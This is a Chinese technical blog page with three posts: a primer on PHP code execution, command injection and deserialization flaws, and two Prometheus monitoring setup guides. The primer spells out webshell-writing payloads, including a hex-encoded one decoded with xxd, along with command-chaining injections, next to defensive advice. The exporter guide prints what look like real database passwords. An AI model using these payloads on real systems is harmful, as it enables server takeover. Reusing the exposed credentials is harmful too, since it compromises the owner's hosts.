跳到主要内容

Linux 修行之路 · Blog

Linux修行之路 - 技术博客

分享Kubernetes、Linux、Python、网络安全等技术文章

文章数量169
技术分类9
查看分类
13

代码执行命令执行反序列化

· 阅读需 6 分钟

PHP代码执行

  • 代码执行危险函数

eval()

eval()会将字符串当作PHP代码执行。

里面参数的值需要”;” 结尾

assert()

assert()会将字符串当作PHP代码执行。

里面参数不需要”;” 结尾

preg_replace()

preg_replace()的作用是对字符串进行正则处理
preg_replace(a,b,abcd)

preg_replace($pattern,$replacement,$subject)
当第一个参数存在e修饰符时,第二个参数的值会被当成PHP代码来执行。

如preg_replace(“/\[(.*)\]/e”,’\\1’,$code);

call_user_func()等函数

<?php
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
\?>
该函数的第一个参数作为回调函数,后面的参数为回调函数的参数

动态函数$a($b)

<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
\?>

代码执行利用

  • 直接获取shell
  • 获取当前文件的绝对路径
print __FILE__
  • 读取服务器文件
print file_get_contents('C:\Windows\System32\drivers\etc\hosts')
  • 在服务器写文件
file_put_contents(文件名,内容)

http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); \?^> >C:/wwwroot/webshell.php

PHP代码执行防御

1.尽量不要使用eval等函数

2.如果使用的话一定要进行严格的过滤

3.preg_replace 放弃使用/e修饰符

4.在php配置文件中禁用危险函数 disable_functions

命令执行漏洞

命令执行危险函数

  • exec()
执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

  • system()
和exec的区别在于system在执行系统外部命令时,直接将结果输出到游览器,不需要使用 echo 或 return 来查看结果,如果成功则返回命令输出的最后一行,否则返回false。第二个参数与exec第三个参数含义一样。

  • shell_exec()
函数实际上仅是反引号 (`) 操作符的变体,不输出结果,返回执行结果

  • ``(反引号)
在linux中起到的是命令替换的作用,
命令置换是指shell能够将一个命令的标准输出插在一个命令行中任何位置

  • passthru()
passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

  • popen(command, mode)
使用 command 参数打开进程文件指针。能够将字符串作为OS命令执行,但是该函数并不返回命令结果,也没有任何输出结果,而是返回一个文件指针。
command 必需。规定要执行的命令。
mode 必需。规定连接模式。
可能的值:
r: 只读。
w: 只写(打开并清空已有文件或创建一个新文件)

命令执行漏洞利用

继承web用户权限

1. 查看系统文件
type 文件路径

2. 显示当前路径
Cd

3. 写文件
echo ^<?php eval($_POST[a])\?^> > D:\a.txt

写入webshell:

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); \?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); \?^> > web可写目录加文件完整名字

linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

命令连接符


| 命令管道符

<>>> 文件重定向符

测试: 0 | dir c:

  代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:

windows支持:

|     直接执行后面的语句      ping 127.0.0.1|whoami          

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:

;     前面的执行完执行后面的      ping 127.0.0.1;whoami  

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami

11 当前面的执行出错时执行后面的 ping 1||whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

命令注入防御

  1. 尽量减少命令执行函数的使用,并在disable_functions中禁用

  2. 对参数进行过滤

  3. 参数值尽量使用引号包裹,并用转义函数如addslashes转义。

  4. 升级到PHP最新版本,对大部分常见的执行动态代码的方法进行了封堵。

PHP反序列化漏洞

序列化:在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。

逆向的过程就叫做反序列化。

PHP通过string serialize ( mixed $value )和mixed unserialize( string $str )两个函数实现序列化和反序列化。

序列化函数

  • serialize() 函数
在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
  • unserialize() 函数
将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

序列化与反序列化作用

序列化的目的是方便数据的传输和存储

在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存, cookie等。

对象基本概念

类、属性、方法、对象

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}

对象类型:长度:”类名“:类中变量的个数:{类型:长度:“值”;类型:长度:“值“;.....}

反序列化漏洞可能会用到的方法

  • __construct()
当一个对象创建时被调用
  • __destruct()
当一个对象销毁时被调用
  • __toString()
当一个对象被当作一个字符串使用
  • __sleep()
在对象被序列化之前运行
  • __wakeup()
在对象被反序列化之后被调用

常用 Exporter 部署

· 阅读需 3 分钟

常用 Exporter 部署

Node-exporter 部署

# 下载安装包
wget https://github.com/prometheus/node_exporter/releases/download/v1.1.2/node_exporter-1.1.2.linux-amd64.tar.gz

# 进入程序目录
tar xf node_exporter-1.1.2.linux-amd64.tar.gz
mv node_exporter-1.1.2.linux-amd64 node_exporter-1.1.2
cd node_exporter-1.1.2

# 放入后台启动
nohup ./node_exporter &
Prometheus 配置修改
  - job_name: 'node-exporter'
static_configs:
- targets: ['localhost:9100','192.168.2.90:9100','192.168.2.164:9100']
Grafana 配置图标
https://grafana.com/grafana/dashboards/8919

![node-exporter](/img/Prometheus 常用 Exporter 部署/node-exporter.png)

Mysql-exporter 部署

宿主机 mysql-client 下载

# 由于不想在mysql容器中安装exporter,所以在宿主机安装 mysql client
yum install mysql-community-client.x86_64 -y

# 出现报错:
Public key for mysql-community-client-5.7.39-1.el7.x86_64.rpm is not installed
Failing package is: mysql-community-client-5.7.39-1.el7.x86_64
GPG Keys are configured as: file:///etc/pki/rpm-gpg/RPM-GPG-KEY-mysql

# Mysql的GPG升级了,需要重新获取
rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022
yum install mysql-community-client.x86_64 -y
下载 Mysql_export
wget https://github.com/prometheus/mysqld_exporter/releases/download/v0.12.1/mysqld_exporter-0.12.1.linux-amd64.tar.gz

tar -zxvf mysqld_exporter-0.12.1.linux-amd64.tar.gz
mv mysqld_exporter-0.12.1.linux-amd64 mysqld_exporter-0.12.1
# 现在有更新版本了,没有验证是否支持 mysql8.0,只验证了5.7
创建连接数据库的配置文件
cd mysqld_exporter-0.12.1

vim my.cnf

[client]
host=192.168.2.90
port=3306
user=root
password=obcijV6j5BjvLLB8gJZpUC6aho
启动服务
./mysqld_exporter --config.my-cnf="./my.cnf"

# 验证:-》浏览器
ip:9104
Prometheus 配置修改
  - job_name: 'mysql-exporter'
static_configs:
- targets: ['192.168.2.90:9104']

# 重启 Prometheus,加载配置
grafana 配置图表
地址: https://grafana.com/grafana/dashboards/11323

Redis_exporter 部署

https://github.com/oliver006/redis_exporter/releases/download/v1.43.1/redis_exporter-v1.43.1.linux-amd64.tar.gz

tar xf redis_exporter-v1.43.1.linux-amd64.tar.gz
mv redis_exporter-v1.43.1.linux-amd64 redis_exporter
cd redis_exporter
配置启动脚本
[root@csm redis_exporter]# cat start.sh

#!/bin/bash
nohup ./redis_exporter -redis.addr 192.168.2.90:6379 &
# -redis.password "ft7fc0sCnuImNY47OtFErVwRLIM=" &

# 启动
sh start.sh
Prometheus 配置修改
  - job_name: 'redis-exporter'
static_configs:
- targets:
- redis://154.39.148.118:6379
metrics_path: /metrics
relabel_configs:
- source_labels: [__address__]
target_label: __param_target
- source_labels: [__param_target]
target_label: instance
- target_label: __address__
replacement: 154.39.148.118:9121
Grafana
# 地址: https://github.com/oliver006/redis_exporter
# grafana_prometheus_redis_dashboard.json:
https://github.com/oliver006/redis_exporter/blob/master/contrib/grafana_prometheus_redis_dashboard.json

Rabbitmq 部署

wget https://github.com/kbudde/rabbitmq_exporter/releases/download/v1.0.0-RC19/rabbitmq_exporter_1.0.0-RC19_linux_amd64.tar.gz

tar xf rabbitmq_exporter_1.0.0-RC19_linux_amd64.tar.gz
mv rabbitmq_exporter_1.0.0-RC19_linux_amd64 rabbitmq_exporter_1.0.0
cd rabbitmq_exporter_1.0.0
启动 export
RABBIT_USER=root RABBIT_PASSWORD=123456 OUTPUT_FORMAT=JSON  RABBIT_URL=http://192.168.2.90:15672 ./rabbitmq_exporter & 

exit
Prometheus 配置添加
  - job_name: 'rabbitmq-exporter'
static_configs:
- targets: ['192.168.2.90:9419']
Grafana
# 单节点的要用这个ID
4371

Prometheus+Alertmanager对接Telegram告警

· 阅读需 5 分钟

Prometheus+Alertmanager对接Telegram告警

Prometheus 搭建启动

1、安装prometheus

mkdir /apps  && cd /apps

wget https://github.com/prometheus/prometheus/releases/download/v2.35.0/prometheus-2.35.0.linux-amd64.tar.gz
tar xf prometheus-2.35.0.linux-amd64.tar.gz

# 创建软连接
ln -sv prometheus-2.35.0.linux-amd64 /apps/prometheus

2、配置systemd管理

vim /etc/systemd/system/prometheus.service

[Unit]
Description=Prometheus
After=network.target

[Service]
Type=simple
User=prometheus
Group=prometheus
ExecStart=/apps/prometheus/prometheus \
--config.file=/apps/prometheus/prometheus.yml \
--storage.tsdb.path=/apps/prometheus/data \
--web.console.templates=/apps/prometheus/consoles \
--web.console.libraries=/apps/prometheus/console_libraries \
--web.listen-address=:9090 \
--storage.tsdb.retention.time=15d \
--web.enable-lifecycle \
--web.enable-admin-api
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

3、创建用户和设置权限

# 创建prometheus用户
useradd --no-create-home --shell /bin/false prometheus

# 设置目录权限
chown -R prometheus:prometheus /apps/prometheus/

4、启动服务

systemctl daemon-reload
systemctl enable prometheus
systemctl start prometheus
systemctl status prometheus

Alertmanager 搭建配置

1、安装Alertmanager

cd /apps
wget https://github.com/prometheus/alertmanager/releases/download/v0.24.0/alertmanager-0.24.0.linux-amd64.tar.gz
tar xf alertmanager-0.24.0.linux-amd64.tar.gz
ln -sv alertmanager-0.24.0.linux-amd64 /apps/alertmanager

2、配置systemd管理

vim /etc/systemd/system/alertmanager.service

[Unit]
Description=Alertmanager
After=network.target

[Service]
Type=simple
User=prometheus
Group=prometheus
ExecStart=/apps/alertmanager/alertmanager \
--config.file=/apps/alertmanager/alertmanager.yml \
--storage.path=/apps/alertmanager/data \
--web.listen-address=:9093 \
--web.external-url=http://localhost:9093
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

3、配置Alertmanager

vim /apps/alertmanager/alertmanager.yml

global:
smtp_smarthost: 'smtp.163.com:25'
smtp_from: 'your-email@163.com'

route:
group_by: ['alertname']
group_wait: 10s
group_interval: 10s
repeat_interval: 1h
receiver: 'telegram-notifications'

receivers:
- name: 'telegram-notifications'
telegram_configs:
- api_url: 'https://api.telegram.org'
bot_token: 'YOUR_BOT_TOKEN'
chat_id: YOUR_CHAT_ID
message: |
{{ range .Alerts -}}
Alert: {{ .Annotations.summary }}
Description: {{ .Annotations.description }}
Labels:
{{ range .Labels.SortedPairs }} - {{ .Name }}: {{ .Value }}
{{ end }}
{{ end }}

inhibit_rules:
- source_match:
severity: 'critical'
target_match:
severity: 'warning'
equal: ['alertname', 'dev', 'instance']

4、设置权限和启动

chown -R prometheus:prometheus /apps/alertmanager/
systemctl daemon-reload
systemctl enable alertmanager
systemctl start alertmanager
systemctl status alertmanager

配置Prometheus规则

1、创建告警规则文件

vim /apps/prometheus/rules/alert-rules.yml

groups:
- name: example
rules:
- alert: InstanceDown
expr: up == 0
for: 1m
labels:
severity: critical
annotations:
summary: "Instance {{ $labels.instance }} down"
description: "{{ $labels.instance }} of job {{ $labels.job }} has been down for more than 1 minute."

- alert: HighCPUUsage
expr: 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80
for: 5m
labels:
severity: warning
annotations:
summary: "High CPU usage detected"
description: "CPU usage is above 80% for more than 5 minutes on {{ $labels.instance }}"

- alert: HighMemoryUsage
expr: (node_memory_MemTotal_bytes - node_memory_MemAvailable_bytes) / node_memory_MemTotal_bytes * 100 > 80
for: 5m
labels:
severity: warning
annotations:
summary: "High memory usage detected"
description: "Memory usage is above 80% for more than 5 minutes on {{ $labels.instance }}"

2、修改Prometheus配置

vim /apps/prometheus/prometheus.yml

global:
scrape_interval: 15s
evaluation_interval: 15s

alerting:
alertmanagers:
- static_configs:
- targets:
- localhost:9093

rule_files:
- "rules/*.yml"

scrape_configs:
- job_name: 'prometheus'
static_configs:
- targets: ['localhost:9090']

- job_name: 'node'
static_configs:
- targets: ['localhost:9100']

创建Telegram Bot

1、创建Bot

  1. 在Telegram中搜索 @BotFather
  2. 发送 /newbot 命令
  3. 按提示设置bot名称和用户名
  4. 获取bot token

2、获取Chat ID

  1. 将bot添加到群组或直接私聊
  2. 发送一条消息给bot
  3. 访问 https://api.telegram.org/bot<TOKEN>/getUpdates
  4. 从返回的JSON中找到chat id

3、测试Bot

# 测试发送消息
curl -X POST "https://api.telegram.org/bot<YOUR_BOT_TOKEN>/sendMessage" \
-H "Content-Type: application/json" \
-d '{"chat_id": "<YOUR_CHAT_ID>", "text": "Test message from Prometheus"}'

配置验证

1、重启服务

systemctl restart prometheus
systemctl restart alertmanager

2、检查配置

# 检查Prometheus配置
curl http://localhost:9090/api/v1/status/config

# 检查Alertmanager配置
curl http://localhost:9093/api/v1/status/config

3、测试告警

# 停止node_exporter来触发告警
systemctl stop node_exporter

# 查看告警状态
curl http://localhost:9090/api/v1/alerts

高级配置

1、告警模板自定义

receivers:
- name: 'telegram-notifications'
telegram_configs:
- api_url: 'https://api.telegram.org'
bot_token: 'YOUR_BOT_TOKEN'
chat_id: YOUR_CHAT_ID
parse_mode: 'HTML'
message: |
<b>🚨 {{ .Status | toUpper }}</b>

<b>Alert:</b> {{ .GroupLabels.alertname }}
<b>Severity:</b> {{ .CommonLabels.severity }}
<b>Instance:</b> {{ .CommonLabels.instance }}

<b>Summary:</b> {{ .CommonAnnotations.summary }}
<b>Description:</b> {{ .CommonAnnotations.description }}

<b>Started:</b> {{ .StartsAt.Format "2006-01-02 15:04:05" }}

2、告警抑制规则

inhibit_rules:
- source_match:
severity: 'critical'
target_match:
severity: 'warning'
equal: ['alertname', 'instance']

3、路由规则

route:
group_by: ['alertname', 'cluster', 'service']
group_wait: 10s
group_interval: 10s
repeat_interval: 12h
receiver: 'default-receiver'
routes:
- match:
severity: critical
receiver: 'critical-receiver'
repeat_interval: 5m
- match:
severity: warning
receiver: 'warning-receiver'
repeat_interval: 30m

故障排除

1、常见问题

  • Bot token错误:确保从BotFather获取的token正确
  • Chat ID错误:通过getUpdates API获取正确的chat id
  • 网络问题:检查服务器是否能访问Telegram API
  • 权限问题:确保prometheus用户有正确的文件权限

2、日志查看

# 查看Prometheus日志
journalctl -u prometheus -f

# 查看Alertmanager日志
journalctl -u alertmanager -f

3、调试命令

# 测试告警规则
/apps/prometheus/promtool query instant 'up == 0'

# 验证告警配置
/apps/alertmanager/amtool config check --config.file=/apps/alertmanager/alertmanager.yml

总结

通过以上配置,你已经成功搭建了Prometheus+Alertmanager+Telegram的告警系统。这个系统能够:

  1. 监控系统指标
  2. 根据预设规则触发告警
  3. 将告警信息推送到Telegram
  4. 提供灵活的告警路由和抑制机制

记住要定期检查和更新告警规则,确保告警系统的有效性。